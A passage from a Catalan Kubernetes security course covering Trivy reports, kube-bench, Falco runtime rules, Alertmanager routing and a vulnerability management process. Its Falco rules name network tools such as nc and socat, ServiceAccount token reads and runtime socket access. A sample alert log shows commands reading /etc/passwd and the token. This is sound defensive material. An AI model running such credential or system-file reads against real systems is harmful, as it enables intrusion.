statefulset-postgres-reserves-postgres        externes/postgres                     16.4     Trivy     3h    0          1      3        7
statefulset-redis-cache-redis                 externes/redis                        7.4      Trivy     3h    0          0      0        2
replicaset-worker-notificacions-6d4f8-worker  rutasnorte/worker-notificacions       3.2.0    Trivy     3h    0          0      1        3

Que siguin recursos de Kubernetes té conseqüències molt pràctiques: es consulten amb kubectl, es poden filtrar amb selectors, i l'operador exposa mètriques Prometheus, així que s'integren amb els quadres de comandament i les alertes del mòdul 7 sense cap feina addicional.

# Detall de les vulnerabilitats crítiques d'un informe
kubectl get vulnerabilityreport -n rutas-norte-pro \
  replicaset-api-reserves-6d4f8b9c7-api -o json \
  | jq -r '.report.vulnerabilities[]
      | select(.severity == "CRITICAL")
      | "\(.vulnerabilityID)  \(.resource) \(.installedVersion) -> \(.fixedVersion)\n  \(.title)"'
CVE-2026-12033  jsonwebtoken 9.0.2 -> 9.0.3
  Improper verification of signature allows token forgery

Els altres informes de l'operador

Recurs Què conté
vulnerabilityreports Vulnerabilitats de les imatges
configauditreports Males configuracions dels manifests
exposedsecretreports Secrets trobats dins de les imatges
rbacassessmentreports Permisos RBAC excessius
infraassessmentreports Configuració dels components del pla de control
clustercompliancereports Compliment d'estàndards (CIS, NSA)

Els configauditreports mereixen atenció perquè comproven coses de 08-02 i 08-03:

kubectl get configauditreports -n rutas-norte-pro \
  -o custom-columns='CARREGA:.metadata.name,CRIT:.report.summary.criticalCount,ALTA:.report.summary.highCount'
CARREGA                                    CRIT   ALTA
replicaset-api-reserves-6d4f8b9c7          0      0
statefulset-postgres-reserves              0      1
daemonset-fluent-bit-collector             0      2
kubectl get configauditreport -n rutas-norte-pro statefulset-postgres-reserves \
  -o json | jq -r '.report.checks[] | select(.severity == "HIGH")
    | "\(.checkID): \(.title)\n  \(.description)"'
KSV014: Root file system is not read-only
  An immutable root file system prevents applications from writing to their
  local disk.

És exactament l'excepció documentada de 08-02. L'operador la detecta correctament; la nostra tasca és tenir-la registrada com a excepció conscient, no ignorar-la.

I el clustercompliancereports dona la visió de conjunt:

kubectl get clustercompliancereport cis -o json \
  | jq -r '.status.summary'
{
  "passCount": 87,
  "failCount": 9
}

  1. Avaluació del clúster amb kube-bench i els estàndards CIS

Els escanejos anteriors miren les càrregues. kube-bench mira el clúster: comprova la configuració dels components del pla de control i dels nodes contra el CIS Kubernetes Benchmark, un conjunt de recomanacions de configuració segura mantingut pel Center for Internet Security.

# k8s/seguretat/kube-bench-job.yaml
apiVersion: batch/v1
kind: Job
metadata:
  name: kube-bench-nodes
  namespace: rutas-norte-sistema      # el namespace privilegiat de 08-03
spec:
  template:
    spec:
      # kube-bench necessita llegir la configuració del node: per això va aquí
      hostPID: true
      restartPolicy: Never
      containers:
        - name: kube-bench
          image: registry.rutasnorte.example/externes/kube-bench:v0.8.0
          command: ["kube-bench", "run", "--targets", "node", "--json"]
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities: { drop: ["ALL"] }
          volumeMounts:
            - { name: var-lib-kubelet, mountPath: /var/lib/kubelet, readOnly: true }
            - { name: etc-kubernetes, mountPath: /etc/kubernetes, readOnly: true }
            - { name: etc-systemd, mountPath: /etc/systemd, readOnly: true }
      volumes:
        - name: var-lib-kubelet
          hostPath: { path: /var/lib/kubelet }
        - name: etc-kubernetes
          hostPath: { path: /etc/kubernetes }
        - name: etc-systemd
          hostPath: { path: /etc/systemd }

Fixa't que aquest Job fa servir hostPID i hostPath, que a 08-03 vam prohibir a rutas-norte-pro. Per això va a rutas-norte-sistema, el namespace amb perfil privileged. És un ús legítim i acotat: només llegeix, i està endurit en tota la resta.

kubectl apply -f k8s/seguretat/kube-bench-job.yaml
kubectl logs -n rutas-norte-sistema job/kube-bench-nodes | head -40
[INFO] 4 Worker Node Security Configuration
[INFO] 4.1 Worker Node Configuration Files
[PASS] 4.1.1 Ensure that the kubelet service file permissions are set to 600 or more restrictive
[PASS] 4.1.2 Ensure that the kubelet service file ownership is set to root:root
[PASS] 4.1.5 Ensure that the --kubeconfig kubelet.conf file permissions are set to 600
[INFO] 4.2 Kubelet
[PASS] 4.2.1 Ensure that the --anonymous-auth argument is set to false
[PASS] 4.2.2 Ensure that the --authorization-mode argument is not set to AlwaysAllow
[FAIL] 4.2.6 Ensure that the --protect-kernel-defaults argument is set to true
[PASS] 4.2.9 Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture
[WARN] 4.2.12 Ensure that the RotateKubeletServerCertificate argument is set to true

== Remediations node ==
4.2.6 If using a Kubelet config file, edit the file to set protectKernelDefaults: true.
      If using command line arguments, edit the kubelet service file
      /etc/systemd/system/kubelet.service.d/10-kubeadm.conf and set --protect-kernel-defaults=true

== Summary node ==
21 checks PASS
1 checks FAIL
2 checks WARN

Què fer amb les troballes

Aquest és el punt on molts equips es perden: kube-bench retorna desenes de comprovacions i no totes són igual d'importants ni totes són aplicables.

Tipus de troballa Què fer
FAIL al pla de control Prioritat alta. Solen ser canvis de configuració concrets amb remeiació documentada
FAIL al kubelet Prioritat alta. Recorda de 08-04 la importància de la configuració del kubelet
WARN Revisar cas per cas; sovint depèn de l'entorn
INFO Informatiu
No aplicable a Kubernetes gestionat Documentar com a no aplicable, no ignorar en silenci

Aquell últim punt és important. A EKS, AKS o GKE no tens accés al pla de control, així que gairebé totes les comprovacions de la secció 1 són inaplicables. El correcte no és ignorar-les: és documentar que les gestiona el proveïdor i, si l'organització ho requereix, demanar-li el seu informe de compliment.

Les troballes d'aquest exemple, resoltes:

Troballa Acció Estat
4.2.6 --protect-kernel-defaults Afegir a la configuració del kubelet i reiniciar els nodes per tandes Planificat
4.2.12 Rotació de certificats del kubelet Activar RotateKubeletServerCertificate Planificat

I per no dependre d'execucions manuals, un CronJob setmanal el resultat del qual alimenti el mateix procés de gestió que les vulnerabilitats:

apiVersion: batch/v1
kind: CronJob
metadata:
  name: kube-bench-setmanal
  namespace: rutas-norte-sistema
spec:
  schedule: "0 5 * * 1"      # dilluns a les 05:00
  jobTemplate:
    spec:
      template:
        spec:
          # (mateixa especificació que el Job anterior)
          restartPolicy: Never
          containers:
            - name: kube-bench
              image: registry.rutasnorte.example/externes/kube-bench:v0.8.0
              command:
                - sh
                - -c
                - |
                  kube-bench run --targets node --json > /tmp/resultat.json
                  fallades=$(jq '[.Controls[].tests[].results[]
                                | select(.status == "FAIL")] | length' /tmp/resultat.json)
                  echo "Comprovacions fallides: $fallades"
                  cat /tmp/resultat.json
                  # Si augmenten respecte de la línia base coneguda, sortir amb error
                  [ "$fallades" -le 2 ] || exit 1

La comparació amb una línia base coneguda és la clau perquè això sigui útil: no alerta de les troballes ja conegudes i acceptades, només de les desviacions noves. Una eina que alerta del mateix cada setmana s'acaba silenciant.

  1. Detecció en temps d'execució amb Falco

Tot l'anterior és preventiu (impedir) o de configuració (comprovar). Falco és detectiu: observa el que passa de debò, mentre passa.

Què observa

Falco intercepta les crides al sistema que fan els processos dels contenidors, fent servir eBPF o un mòdul del kernel. Cada vegada que un procés obre un fitxer, executa un binari, crea una connexió o llegeix un descriptor, Falco ho veu i ho compara amb les seves regles.

Això és el que li permet detectar coses que cap control preventiu no pot:

Control Quan actua Què no veu
RBAC (08-01) Peticions a l'API Res del que passa dins del contenidor
PSA (08-03) Creació del pod El que fa el pod després
NetworkPolicy (08-04) Connexions de xarxa Activitat local al contenidor
Escaneig (apartat 5) Abans del desplegament El que passa en execució
Falco Contínuament, en execució

Instal·lació

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
  --namespace rutas-norte-sistema \
  --set driver.kind=modern_ebpf \
  --set falcosidekick.enabled=true \
  --set falcosidekick.config.alertmanager.hostport=http://alertmanager.monitoratge:9093

modern_ebpf fa servir el suport d'eBPF del kernel sense necessitat de compilar un mòdul, que és l'opció preferida en kernels recents. Falco corre com a DaemonSet a rutas-norte-sistema perquè necessita privilegis de node: és un dels casos legítims de l'apartat 6 de 08-03.

Regles per a Rutas Norte

# k8s/seguretat/falco-regles-rutasnorte.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: falco-regles-rutasnorte
  namespace: rutas-norte-sistema
data:
  rutasnorte_regles.yaml: |
    # ============================================================
    # Llistes i macros reutilitzables
    # ============================================================
    - list: namespaces_produccio
      items: [rutas-norte-pro]

    - list: binaris_shell
      items: [bash, sh, zsh, ash, dash, ksh, csh, fish]

    - macro: en_produccio
      condition: k8s.ns.name in (namespaces_produccio)

    - macro: contenidor
      condition: container.id != host

    # ============================================================
    # Regla 1: shell oberta en un contenidor de producció
    # ============================================================
    # Les nostres imatges distroless (08-05) NO tenen shell. Que aparegui
    # un procés de shell a producció significa una de dues coses:
    #   a) algú va fer kubectl exec (hauria de veure's a l'auditoria), o
    #   b) algú executa codi dins del contenidor.
    # Totes dues requereixen investigació immediata.
    - rule: Shell oberta en contenidor de produccio
      desc: >-
        S'ha iniciat un procés d'intèrpret d'ordres dins d'un
        contenidor del namespace de producció. Les imatges de Rutas Norte
        no inclouen shell, per la qual cosa això no hauria de passar mai.
      condition: >
        spawned_process
        and contenidor
        and en_produccio
        and proc.name in (binaris_shell)
      output: >
        Shell oberta a produccio
        (usuari=%user.name proces=%proc.cmdline pare=%proc.pname
         contenidor=%container.name imatge=%container.image.repository
         pod=%k8s.pod.name ns=%k8s.ns.name)
      priority: CRITICAL
      tags: [rutasnorte, produccio, shell, T1059]

    # ============================================================
    # Regla 2: escriptura en directoris del sistema
    # ============================================================
    # Tots els nostres contenidors porten readOnlyRootFilesystem: true
    # (08-02), així que això hauria de fallar SEMPRE. Si l'intent existeix,
    # alguna cosa està intentant modificar binaris o configuració del sistema.
    - rule: Escriptura en directori del sistema
      desc: >-
        Intent d'escriptura en un directori del sistema dins d'un
        contenidor. Amb readOnlyRootFilesystem l'intent fallarà, però
        la seva mera existència indica activitat anòmala.
      condition: >
        open_write
        and contenidor
        and en_produccio
        and fd.name startswith (/bin, /sbin, /usr/bin, /usr/sbin, /usr/lib,
                                /lib, /etc, /boot)
        and not proc.name in (dpkg, apt, apk, rpm)
      output: >
        Escriptura en directori del sistema
        (fitxer=%fd.name proces=%proc.cmdline usuari=%user.name
         pod=%k8s.pod.name ns=%k8s.ns.name imatge=%container.image.repository)
      priority: CRITICAL
      tags: [rutasnorte, produccio, integritat, T1222]

    # ============================================================
    # Regla 3: lectura del token de la ServiceAccount
    # ============================================================
    # A 03-06 vam posar automountServiceAccountToken: false a gairebé tot.
    # Els pocs pods que sí que el munten el llegeixen a través de la seva
    # biblioteca client. Una lectura des d'una shell o una utilitat genèrica és
    # el patró clàssic de reconeixement després d'un compromís.
    - rule: Lectura del token de ServiceAccount per proces inesperat
      desc: >-
        Un procés que no és l'aplicació ha llegit el token de la
        ServiceAccount muntat al pod.
      condition: >
        open_read
        and contenidor
        and fd.name contains /var/run/secrets/kubernetes.io/serviceaccount/token
        and not proc.name in (node, python3, java, nginx, postgres, redis-server)
      output: >
        Token de ServiceAccount llegit per proces inesperat
        (proces=%proc.cmdline usuari=%user.name pare=%proc.pname
         pod=%k8s.pod.name ns=%k8s.ns.name sa=%k8s.pod.serviceaccount)
      priority: CRITICAL
      tags: [rutasnorte, credencials, T1552]

    # ============================================================
    # Regla 4: connexió sortint inesperada
    # ============================================================
    # Complementa la NetworkPolicy de 08-04: la política BLOQUEJA, Falco
    # REGISTRA l'intent amb el procés que el va fer, que és informació
    # que la política no pot donar.
    - rule: Connexio sortint des de component sense permis de sortida
      desc: >-
        Un component que no ha d'arribar a internet ha intentat obrir una
        connexió sortint. La NetworkPolicy ho bloquejarà, però registrem
        quin procés ho va intentar.
      condition: >
        outbound
        and contenidor
        and en_produccio
        and k8s.pod.label.app in (botiga-web, postgres-reserves, redis-cache,
                                  informes-ocupacio)
        and not fd.sip in (cluster_cidr)
        and not fd.sport in (53)
      output: >
        Connexio sortint inesperada
        (desti=%fd.sip:%fd.sport proces=%proc.cmdline
         pod=%k8s.pod.name app=%k8s.pod.label.app ns=%k8s.ns.name)
      priority: WARNING
      tags: [rutasnorte, xarxa, exfiltracio, T1041]

    # ============================================================
    # Regla 5: eines de descàrrega a producció
    # ============================================================
    - rule: Eina de descarrega executada a produccio
      desc: >-
        S'ha executat curl, wget o una altra eina de descàrrega dins d'un
        contenidor de producció. Les nostres imatges no les inclouen.
      condition: >
        spawned_process
        and contenidor
        and en_produccio
        and proc.name in (curl, wget, nc, ncat, socat, ftp, tftp)
      output: >
        Eina de descarrega a produccio
        (proces=%proc.cmdline pare=%proc.pname pod=%k8s.pod.name
         imatge=%container.image.repository)
      priority: CRITICAL
      tags: [rutasnorte, produccio, T1105]

    # ============================================================
    # Regla 6: modificació de la configuració de contenidors
    # ============================================================
    - rule: Acces al socket de l'entorn d'execucio
      desc: >-
        Un procés ha accedit al socket de containerd o Docker. Com
        vam veure a 08-02, això equival a privilegis de node.
      condition: >
        (open_read or open_write)
        and contenidor
        and fd.name in (/var/run/docker.sock, /run/containerd/containerd.sock,
                        /var/run/crio/crio.sock)
      output: >
        Acces al socket de l'entorn d'execucio
        (fitxer=%fd.name proces=%proc.cmdline pod=%k8s.pod.name
         ns=%k8s.ns.name)
      priority: CRITICAL
      tags: [rutasnorte, escapada, T1610]

Fixa't en el fil que recorre totes les regles: cadascuna es recolza en una decisió de disseny de les lliçons anteriors. La regla de la shell funciona perquè fem servir imatges distroless (08-05). La d'escriptura al sistema, perquè vam posar readOnlyRootFilesystem (08-02). La del token, perquè vam desmuntar els tokens innecessaris (03-06). La de sortida, perquè vam restringir l'egrés (08-04).

Un bon conjunt de regles de detecció no és genèric: és el reflex del que la teva plataforma hauria i no hauria de fer. I precisament per això, com més estricta és la configuració, més significativa és cada alerta i menys falsos positius hi ha.

Veure les alertes

kubectl logs -n rutas-norte-sistema -l app.kubernetes.io/name=falco --tail=20 | grep Critical
03:47:08.229481022: Critical Shell oberta a produccio (usuari=root
proces=sh -c "cat /etc/passwd" pare=node contenidor=worker
imatge=registry.rutasnorte.example/rutasnorte/worker-notificacions
pod=worker-notificacions-6d4f8b9c7-k9x2 ns=rutas-norte-pro)

03:47:09.884113047: Critical Token de ServiceAccount llegit per proces inesperat
(proces=cat /var/run/secrets/kubernetes.io/serviceaccount/token usuari=root
pare=sh pod=worker-notificacions-6d4f8b9c7-k9x2 ns=rutas-norte-pro
sa=worker-notificacions)

Aquell és el mateix pod de l'exercici de 08-04, ara vist des de dins. Falco ens diu exactament quin procés es va llançar i amb quina línia d'ordres. Combinat amb els fluxos de xarxa de Hubble i amb els 403 del registre d'auditoria, tenim la reconstrucció completa de l'incident des de tres fonts independents.

  1. Integrar les alertes de Falco amb Alertmanager

Al mòdul 7 vam muntar Alertmanager amb les seves rutes, els seus silencis i els seus canals. Falco ha de fer servir aquella infraestructura, no crear-ne una de paral·lela.

Falcosidekick és el component que reenvia les alertes de Falco a diferents destins:

# k8s/seguretat/falcosidekick-valors.yaml
falcosidekick:
  enabled: true
  config:
    # Envia a Alertmanager, que ja sap encaminar (07-04)
    alertmanager:
      hostport: "http://alertmanager.monitoratge.svc.cluster.local:9093"
      minimumpriority: "warning"
      # Etiquetes que permeten encaminar a Alertmanager
      customfields: "plataforma:rutas-norte,origen:falco"
      extralabels: "equip:plataforma"
    # Mètriques per a Prometheus: permet quadres de comandament i alertes agregades
    prometheus:
      extralabels: "plataforma:rutas-norte"
    # Els esdeveniments també van al log centralitzat (07-05)
    elasticsearch:
      hostport: "http://elasticsearch.registre.svc.cluster.local:9200"
      index: "falco-seguretat"
      minimumpriority: "notice"

I la ruta a Alertmanager:

# k8s/base/monitoratge/alertmanager-config.yaml (fragment)
route:
  receiver: equip-plataforma
  group_by: [alertname, namespace]
  routes:
    # Alertes de seguretat crítiques: canal dedicat i avís immediat
    - matchers:
        - origen = "falco"
        - severity = "critica"
      receiver: seguretat-urgent
      group_wait: 0s              # sense agrupar: s'envia a l'instant
      repeat_interval: 15m
      continue: true              # continua avaluant: també al canal general

    - matchers:
        - origen = "falco"
      receiver: seguretat-general
      group_interval: 5m

receivers:
  - name: seguretat-urgent
    webhook_configs:
      - url: https://avisos.rutasnorte.example/guardia-seguretat
    # A més de la guàrdia, al canal de l'equip
    # (configuració del canal segons l'eina de l'organització)

  - name: seguretat-general
    webhook_configs:
      - url: https://avisos.rutasnorte.example/canal-seguretat

Detalls de la configuració que importen:

  • group_wait: 0s per a les crítiques: durant un incident en curs, agrupar durant 30 segons és temps perdut.
  • continue: true: l'alerta s'envia a la guàrdia i al canal de l'equip, perquè en quedi constància visible.
  • Elasticsearch a més d'Alertmanager: les alertes queden cercables juntament amb els logs del mòdul 7, cosa que permet correlacionar durant la investigació.

I una regla agregada a Prometheus, per detectar patrons que una alerta individual no capta:

apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
  name: alertes-falco
  namespace: monitoratge
spec:
  groups:
    - name: seguretat-temps-execucio
      rules:
        - alert: RafegaDAlertesDeSeguretat
          expr: |
            sum by (k8s_ns_name, k8s_pod_name) (
              rate(falco_events{priority=~"Critical|Error"}[5m])
            ) > 0.1
          for: 2m
          labels:
            severity: critica
            equip: plataforma
            origen: falco-agregat
          annotations:
            summary: >-
              Ràfega d'esdeveniments de seguretat a {{ $labels.k8s_pod_name }}
            description: >-
              El pod {{ $labels.k8s_ns_name }}/{{ $labels.k8s_pod_name }} està
              generant esdeveniments crítics de Falco de forma sostinguda. Un esdeveniment
              aïllat pot ser una operació legítima; una ràfega indica
              activitat anòmala en curs.
              Procediment de contenció: aïllar el pod canviant la seva etiqueta
              app i aplicar la NetworkPolicy de quarantena.
            runbook_url: https://wiki.rutasnorte.example/runbooks/incident-falco

        - alert: FalcoNoEstaFuncionant
          expr: |
            count(kube_daemonset_status_number_ready{daemonset="falco"}) == 0
            or
            kube_daemonset_status_number_ready{daemonset="falco"}
              < kube_daemonset_status_desired_number_scheduled{daemonset="falco"}
          for: 10m
          labels:
            severity: critica
            equip: plataforma
          annotations:
            summary: "Falco no està corrent a tots els nodes"
            description: >-
              Sense Falco en un node, l'activitat dels seus contenidors no
              s'observa. Un atacant podria desactivar-lo deliberadament.

Aquella segona alerta és tan important com les primeres i s'oblida constantment: cal vigilar que el vigilant funcioni. Un sistema de detecció apagat no genera alertes, i l'absència d'alertes es confon molt fàcilment amb l'absència de problemes.

Reduir el soroll

Falco acabat d'instal·lar genera molts falsos positius. El procés és el mateix que hem seguit amb el PSA i el WAF:

  1. Desplegar i observar durant una o dues setmanes sense encaminar alertes a ningú.
  2. Identificar els patrons legítims que disparen regles.
  3. Afegir excepcions específiques (no desactivar la regla sencera).
  4. Només aleshores, encaminar a la guàrdia.
    # Exemple d'excepció ben acotada
    - rule: Shell oberta en contenidor de produccio
      append: true
      exceptions:
        - name: sondes_del_recollector_de_logs
          fields: [k8s.pod.label.app, proc.pname]
          comps: [=, =]
          values:
            - [fluent-bit, tini]

Una excepció per etiqueta d'aplicació i procés pare és específica. Desactivar la regla en tot un namespace no ho és. La diferència decideix si l'eina serveix d'alguna cosa d'aquí a sis mesos.

  1. Gestió de vulnerabilitats com a procés

Aquí arribem al que de debò falta a la majoria d'equips. Tenir eines que troben vulnerabilitats és la part fàcil. El difícil és fer-hi alguna cosa de forma sostinguda.

El patró de fracàs és sempre el mateix: s'instal·la un escàner, llança 340 troballes, ningú no sap per on començar, es decideix "ho mirem la setmana que ve", i sis mesos després en són 780 i ningú no les mira.

Els cinc elements del procés

flowchart LR
    A["1. Inventari<br/>què tinc?"] --> B["2. Priorització<br/>què importa?"]
    B --> C["3. Terminis<br/>per a quan?"]
    C --> D["4. Responsable<br/>qui?"]
    D --> E["5. Excepcions<br/>què no arreglo<br/>i fins quan?"]
    E --> A

  1. Inventari

No pots gestionar el que no coneixes. L'inventari respon a: quines imatges estan corrent, amb quin digest, què contenen, i des de quan.

Ja tenim les peces de 08-05: el registre propi, els digests i els SBOM. Només cal ajuntar-les:

#!/usr/bin/env bash
# seguretat/inventari.sh — inventari del que corre a producció
kubectl get pods -n rutas-norte-pro -o json | jq -r '
  .items[]
  | .metadata.labels.app as $app
  | .status.containerStatuses[]?
  | "\($app)\t\(.name)\t\(.imageID)"' | sort -u
api-reserves	api	registry.rutasnorte.example/rutasnorte/api-reserves@sha256:9f2c1d4e...
api-reserves	ambaixador-pagaments	registry.rutasnorte.example/rutasnorte/ambaixador-pagaments@sha256:3c8e1f5a...
botiga-web	nginx	registry.rutasnorte.example/externes/nginx-unprivileged@sha256:7d3b2f8e...
postgres-reserves	exportador-metriques	registry.rutasnorte.example/externes/postgres-exporter@sha256:1b4e7a2c...
postgres-reserves	postgres	registry.rutasnorte.example/externes/postgres@sha256:2a7f4c8d...
redis-cache	redis	registry.rutasnorte.example/externes/redis@sha256:6d1a3f9b...
worker-notificacions	adaptador-logs	registry.rutasnorte.example/rutasnorte/adaptador-logs@sha256:4f2c9e1d...
worker-notificacions	worker	registry.rutasnorte.example/rutasnorte/worker-notificacions@sha256:5e8a1b7c...

Vuit imatges. Un inventari que cap en una pantalla és un inventari que es pot gestionar.

  1. Priorització realista

Aquest és l'apartat més important i el pitjor entès.

No tot CVE crític és urgent. La severitat d'un CVE (el CVSS) mesura la gravetat en abstracte, sense conèixer el teu entorn. Un CVSS 9.8 en un component que no és a la teva ruta d'execució, o que no processa entrada externa, és menys urgent que un CVSS 6.5 a la biblioteca que interpreta les peticions HTTP d'api-reserves.

Els factors que cal combinar:

Factor Pregunta Pes
Severitat (CVSS) Com de greu és en abstracte? Punt de partida
Hi ha correcció? Puc actualitzar avui? Alt: sense correcció no hi ha acció
S'explota activament? És al catàleg KEV de vulnerabilitats explotades? Molt alt
Exposició El component atén peticions d'internet? Molt alt
Ruta d'execució Es fa servir realment el codi vulnerable? Alt
Dades afectades Dona accés a dades personals? Molt alt
Compensacions Hi ha controls que ho mitiguen? Mitjà

Aplicat a Rutas Norte amb dues troballes reals:

CVE-2026-12033 (jsonwebtoken) CVE-2026-11042 (libssl3)
Severitat CRITICAL (9.1) HIGH (7.5)
Correcció? Sí: 9.0.3 Sí: 3.0.15-1
Al KEV? No No
Component api-reserves, exposat a internet api-reserves
Es fa servir la ruta? : valida els tokens de sessió de cada petició No: la ruta afectada és la de renegociació TLS, que no fem servir
Dades personals? : la sessió dona accés a les reserves del client Indirectament
Compensacions Cap El TLS el termina l'Ingress (04-05), no l'aplicació
Prioritat P1: corregir en 24 h P3: al cicle normal

Totes dues tenen correcció. Una és crítica i l'altra alta. Però la primera afecta directament la validació de sessions d'una API pública que dona accés a dades de clients, i la segona és en una ruta de codi que ni tan sols s'executa. Tractar-les igual seria un error de gestió en les dues direccions: retardaria la urgent i forçaria presses innecessàries a l'altra.

Eines que ajuden a aquesta priorització:

Font Què aporta
KEV (catàleg de vulnerabilitats explotades conegudes) Llista de CVE amb explotació confirmada. Si és aquí, és P1
EPSS (sistema de puntuació de probabilitat d'explotació) Probabilitat que s'exploti en els pròxims 30 dies
VEX (intercanvi d'explotabilitat) Declaració del fabricant sobre si el seu producte està realment afectat
SBOM propi (08-05) Si el component és o no a la ruta d'execució
# Trivy pot incorporar EPSS i KEV a l'informe
trivy image --scanners vuln \
  --vex repo \
  --severity CRITICAL,HIGH \
  registry.rutasnorte.example/rutasnorte/api-reserves:2.7.1

  1. Terminis per severitat

Sense terminis, "ho arreglem quan puguem" significa mai. La taula de Rutas Norte:

Prioritat Criteri Termini de correcció Escalat si s'incompleix
P1 Crítica explotable en component exposat, o present al KEV 24 hores Direcció tècnica immediatament
P2 Crítica o alta amb correcció, en component exposat 7 dies Responsable de plataforma als 7 dies
P3 Alta amb correcció, component no exposat 30 dies Revisió mensual
P4 Mitjana 90 dies Cicle normal d'actualització
P5 Baixa, o sense correcció disponible Següent reconstrucció programada Revisió trimestral

Aquests terminis es compten des de la detecció, no des de la publicació del CVE. I hi ha una conseqüència operativa que cal assumir: complir 24 hores per a un P1 exigeix que el procés de reconstrucció, escaneig, signatura i desplegament funcioni en menys que això. És exactament l'argument de 08-05 sobre reconstruir setmanalment: un procediment que s'executa sovint és un procediment que respon quan cal.

  1. Responsable assignat

Àmbit Responsable
Dependències de l'aplicació (npm, PyPI) L'equip que manté el component
Imatges base Plataforma
Imatges públiques replicades (externes/) Plataforma
Configuració del clúster (troballes de kube-bench) Plataforma
Decisió sobre excepcions Plataforma + seguretat
Excepcions que afecten dades personals + responsable de compliment

Sense un nom, cada troballa és responsabilitat de tothom, que és la forma més eficaç que no ho sigui de ningú.

  1. Excepcions documentades amb data de caducitat

Hi haurà vulnerabilitats que no es puguin corregir a temps. Això és normal i acceptable si es gestiona.

# seguretat/excepcions-vulnerabilitats.yaml
# Registre d'excepcions vigents. Revisió mensual.
# Una excepció caducada bloqueja la construcció fins que es renova o es corregeix.

excepcions:
  - cve: CVE-2025-98004
    component: zlib1g
    imatges: ["rutasnorte/api-reserves", "rutasnorte/worker-notificacions"]
    severitat: LOW
    motiu: >-
      Sense correcció disponible del mantenidor. La ruta de codi afectada
      (descompressió de fluxos gzip malformats) no s'executa: l'aplicació
      no descomprimeix contingut d'origen extern.
    mitigacio: >-
      L'Ingress rebutja cossos comprimits superiors a 2 MB (08-04).
    aprovada_per: seguretat
    responsable: plataforma
    data_aprovacio: 2026-08-01
    data_caducitat: 2026-10-01     # OBLIGATÒRIA
    revisio: mensual

  - cve: CVE-2026-10877
    component: libc6
    imatges: ["rutasnorte/api-reserves"]
    severitat: MEDIUM
    motiu: >-
      La correcció requereix pujar la imatge base a Debian 13, que trenca la
      compatibilitat d'una dependència nativa. Migració planificada.
    mitigacio: >-
      El component corre sense root, amb capacitats eliminades i sistema de
      fitxers de només lectura (08-02).
    aprovada_per: seguretat
    responsable: equip-api
    data_aprovacio: 2026-07-15
    data_caducitat: 2026-09-15
    tasca: PLAT-1847
    revisio: quinzenal

I la comprovació automàtica que dona sentit a la data de caducitat:

#!/usr/bin/env bash
# ci/verificar-excepcions.sh
# Falla si hi ha excepcions caducades. S'executa en cada construcció.
set -euo pipefail
AVUI=$(date -u +%Y-%m-%d)
caducades=0

while read -r cve caducitat responsable; do
  if [[ "$caducitat" < "$AVUI" ]]; then
    echo "CADUCADA: $cve (va vèncer el $caducitat, responsable: $responsable)"
    caducades=$((caducades + 1))
  fi
done < <(yq -r '.excepcions[] | "\(.cve) \(.data_caducitat) \(.responsable)"' \
           seguretat/excepcions-vulnerabilitats.yaml)

if [[ "$caducades" -gt 0 ]]; then
  echo
  echo "Hi ha $caducades excepcions caducades. Corregeix la vulnerabilitat o"
  echo "renova l'excepció amb aprovació de seguretat abans de continuar."
  exit 1
fi
echo "Totes les excepcions vigents."

Això és el que converteix una excepció en una decisió gestionada en lloc d'un oblit permanent. Sense data de caducitat, .trivyignore es converteix en el cementiri on van a morir les vulnerabilitats que ningú no va voler mirar.

El ritme del procés

Freqüència Activitat Qui
Cada construcció Escaneig amb llindar; comprovació d'excepcions caducades Automàtic
Diària Informe d'auditoria; revisió d'alertes de Falco Plataforma (15 min)
Setmanal Escaneig del registre i del que corre; kube-bench Automàtic + revisió
Setmanal Reconstrucció programada de totes les imatges (08-05) Automàtic
Quinzenal Repàs de troballes P2 i P3 obertes Plataforma
Mensual Revisió d'excepcions properes a caducar Plataforma + seguretat
Trimestral Revisió de RBAC (08-01), polítiques de xarxa (08-04) i excepcions Plataforma + seguretat
Trimestral Revisió d'accessos a dades personals + compliment
Anual Revisió completa del disseny de seguretat Direcció + seguretat externa

  1. Evidències i auditories de compliment

Quan arriba una auditoria —d'una certificació, d'un client corporatiu o d'una autoritat de control— no n'hi ha prou amb dir "sí, tenim controls". Cal demostrar-ho amb evidències.

Què demanen les auditories i d'on surt

Pregunta de l'auditor Evidència Origen
Qui pot accedir a les dades personals? Sortida de kubectl auth can-i per grup, datada 08-01
Qui hi va accedir realment l'últim trimestre? Consulta del registre d'auditoria sobre Secrets Aquesta lliçó
Com garantiu que només s'executa programari aprovat? Polítiques d'admissió + verificació de signatures 08-03, 08-05
Com detecteu activitat anòmala? Regles de Falco + alertes de Hubble Aquesta lliçó, 08-04
Quin és el vostre procés de gestió de vulnerabilitats? Document del procés + registre d'excepcions Aquesta lliçó
Quant trigueu a corregir una vulnerabilitat crítica? Historial de terminis reals davant dels compromesos Registre de tasques
Està xifrat l'emmagatzematge de dades personals? Configuració de la StorageClass + xifratge d'etcd 05-04, 08-04
Com es protegeix la còpia de seguretat? Configuració de Velero + xifratge 05-06
Es revisen els permisos periòdicament? Actes de les revisions trimestrals 08-01

Quines evidències conservar i quant

Evidència Retenció suggerida Motiu
Registre d'auditoria de l'apiserver 90 dies en calent, 1 any en fred Investigació d'incidents; molts es detecten mesos després
Alertes de Falco 1 any Correlació en investigacions
Informes d'escaneig d'imatges 1 any Demostrar l'estat en un moment donat
Informes de kube-bench 1 any Evolució del compliment
Registre d'excepcions (històric) Permanent Demostrar que les decisions van ser conscients
Actes de revisió trimestral 3 anys Demostrar la periodicitat del procés
Signatures i atestacions d'imatges Mentre la imatge estigui desplegada + 1 any Traçabilitat de què es va executar

Consideració de protecció de dades sobre el mateix registre d'auditoria. El log d'auditoria conté noms d'usuari, adreces IP i marques temporals: són dades personals dels empleats. El seu tractament necessita la seva pròpia base legal, el seu termini de conservació definit i el seu control d'accés. No és un fitxer tècnic neutre. El termini de retenció l'ha de fixar el responsable de compliment, equilibrant la necessitat d'investigació amb el principi de minimització.

I una recomanació pràctica: automatitza la generació d'evidències. Un informe trimestral que es genera sol, amb data i signatura, val més que un document que algú escriu a mà la setmana abans de l'auditoria.

#!/usr/bin/env bash
# seguretat/generar-evidencies-trimestrals.sh
TRIMESTRE=$(date +%Y-Q%q 2>/dev/null || date +%Y-%m)
DIR="evidencies/$TRIMESTRE"
